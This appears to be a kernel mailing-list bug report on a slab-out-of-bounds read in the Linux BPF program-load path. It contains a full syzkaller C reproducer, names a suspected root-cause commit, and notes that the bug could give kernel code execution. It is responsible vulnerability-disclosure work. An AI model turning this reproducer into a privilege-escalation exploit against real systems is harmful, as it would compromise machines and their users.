On 12/19, Hyunwoo Kim wrote:
Dear,
This slab-out-of-bounds occurs in the bpf_prog_load() flow:
https://syzkaller.appspot.com/text?tag=CrashLog&x=172e2510480000
I was able to trigger KASAN using this syz reproduce code:
```
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
#ifndef __NR_sched_setattr
#define __NR_sched_setattr 314
#endif
uint64_t r[4] = {0xffffffffffffffff, 0xffffffffffffffff,
0xffffffffffffffff, 0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
intptr_t res = 0;
*(uint32_t*)0x20000080 = 0;
syscall(__NR_sched_setscheduler, 0, 2ul, 0x20000080ul);
*(uint64_t*)0x200000c0 = 5;
syscall(__NR_sched_setaffinity, 0, 8ul, 0x200000c0ul);
*(uint32_t*)0x20001700 = 4;
syscall(__NR_sched_setscheduler, 0, 1ul, 0x20001700ul);
res = syscall(__NR_socketpair, 1ul, 0ul, 0, 0x20000200ul);
if (res != -1) {
r[0] = *(uint32_t*)0x20000200;
r[1] = *(uint32_t*)0x20000204;
}
*(uint16_t*)0x2057eff8 = 0;
*(uint8_t*)0x2057effa = 0;
*(uint32_t*)0x2057effc = 0;
syscall(__NR_connect, r[0], 0x2057eff8ul, 0x6eul);
syscall(__NR_sendmmsg, r[1], 0x200bd000ul, 0x318ul, 0ul);
*(uint32_t*)0x20000040 = 0x38;
*(uint32_t*)0x20000044 = 0;
*(uint64_t*)0x20000048 = 0;
*(uint32_t*)0x20000050 = 0;
*(uint32_t*)0x20000054 = 0;
*(uint64_t*)0x20000058 = 0;
*(uint64_t*)0x20000060 = 0;
*(uint64_t*)0x20000068 = 0;
*(uint32_t*)0x20000070 = 0;
*(uint32_t*)0x20000074 = 0;
syscall(__NR_sched_setattr, 0, 0x20000040ul, 0ul);
syscall(__NR_getrlimit, 3ul, 0x200001c0ul);
*(uint32_t*)0x20000300 = 0x11;
*(uint32_t*)0x20000304 = 5;
*(uint64_t*)0x20000308 = 0x200000c0;
memcpy((void*)0x200000c0, "\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x85\x00\x00\x00\x0e\x00\x00\x00\x85\x00\x00\x00\x50\x00\x00\x00\x95",
33);
*(uint64_t*)0x20000310 = 0x20000100;
memcpy((void*)0x20000100, "syzkaller\000", 10);
*(uint32_t*)0x20000318 = 0;
*(uint32_t*)0x2000031c = 0;
*(uint64_t*)0x20000320 = 0;
*(uint32_t*)0x20000328 = 0;
*(uint32_t*)0x2000032c = 0;
memset((void*)0x20000330, 0, 16);
*(uint32_t*)0x20000340 = 0;
*(uint32_t*)0x20000344 = 2;
*(uint32_t*)0x20000348 = -1;
*(uint32_t*)0x2000034c = 8;
*(uint64_t*)0x20000350 = 0;
*(uint32_t*)0x20000358 = 0;
*(uint32_t*)0x2000035c = 0x10;
*(uint64_t*)0x20000360 = 0;
*(uint32_t*)0x20000368 = 0;
*(uint32_t*)0x2000036c = 0;
*(uint32_t*)0x20000370 = 0;
*(uint32_t*)0x20000374 = 0;
*(uint64_t*)0x20000378 = 0;
res = syscall(__NR_bpf, 5ul, 0x20000300ul, 0x80ul);
if (res != -1)
r[2] = res;
*(uint64_t*)0x20000200 = 0;
*(uint32_t*)0x20000208 = r[2];
syscall(__NR_bpf, 0x11ul, 0x20000200ul, 0x10ul);
res = syscall(__NR_socket, 0xaul, 0x80003ul, 7);
if (res != -1)
r[3] = res;
*(uint16_t*)0x20000040 = 0xa;
*(uint16_t*)0x20000042 = htobe16(0);
*(uint32_t*)0x20000044 = htobe32(0);
*(uint8_t*)0x20000048 = -1;
*(uint8_t*)0x20000049 = 1;
memset((void*)0x2000004a, 0, 13);
*(uint8_t*)0x20000057 = 1;
*(uint32_t*)0x20000058 = 4;
syscall(__NR_connect, r[3], 0x20000040ul, 0x1cul);
*(uint32_t*)0x200054c0 = 0xa;
*(uint32_t*)0x200054c4 = 0x16;
*(uint64_t*)0x200054c8 = 0x20001340;
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9\xcd\x7c\x42\x30\x45\x23\xc8\xdb\x52\x1d\x17\x33\x0f\x8a\x14\x49\x0f\x56\x83\x91\x52\x44\x19\xcb\x53\x9c\x26\x65\x7c\x38\xbd\xe4\x12\xee\x11\xd5\x2b\xba\x48\xcf\x45\x55\x09\xe2\x5b\x0a\x3f\x38\x77\x73\x71\x20\xab\x9c\x1e\xd5\x95\x2c\x82\x45\x96\x01\x0c\xb2\x56\x78\xb7\x9f\x08\x1c\x44\x6b\xb4\x13\x6e\xc1\xde\xa6\x6a\x6a\xad\x69\x4f\x77\x02\xc3\x93\xc6\x1e\x38\xf1\x88\xa5\x9e\xb8\x08\xf5\x55\xe4",
1628);
*(uint64_t*)0x200054d0 = 0x20000100;
memcpy((void*)0x20000100, "GPL\000", 4);
*(uint32_t*)0x200054d8 = 0;
*(uint32_t*)0x200054dc = 0;
*(uint64_t*)0x200054e0 = 0;
*(uint32_t*)0x200054e8 = 0;
*(uint32_t*)0x200054ec = 0;
memset((void*)0x200054f0, 0, 16);
*(uint32_t*)0x20005500 = 0;
*(uint32_t*)0x20005504 = 0;
*(uint32_t*)0x20005508 = -1;
*(uint32_t*)0x2000550c = 8;
*(uint64_t*)0x20005510 = 0x20000000;
*(uint32_t*)0x20000000 = 0;
*(uint32_t*)0x20000004 = 0;
*(uint32_t*)0x20005518 = 0;
*(uint32_t*)0x2000551c = 0x10;
*(uint64_t*)0x20005520 = 0x20000000;
*(uint32_t*)0x20000000 = 0;
*(uint32_t*)0x20000004 = 0;
*(uint32_t*)0x20000008 = 0;
*(uint32_t*)0x2000000c = 0;
*(uint32_t*)0x20005528 = 0;
*(uint32_t*)0x2000552c = 0;
*(uint32_t*)0x20005530 = -1;
*(uint32_t*)0x20005534 = 0;
*(uint64_t*)0x20005538 = 0;
syscall(__NR_bpf, 5ul, 0x200054c0ul, 0x48ul);
return 0;
}
```
IMHO, the root cause of this seems to be commit
ceb35b666d42c2e91b1f94aeca95bb5eb0943268.
Also, a user with permission to load a BPF program can use this OOB to
execute the desired code with kernel privileges.
Let's CC Kees if you suspect the commit above. Maybe we can run
with/without it to confirm?
Regards,
Hyunwoo Kim
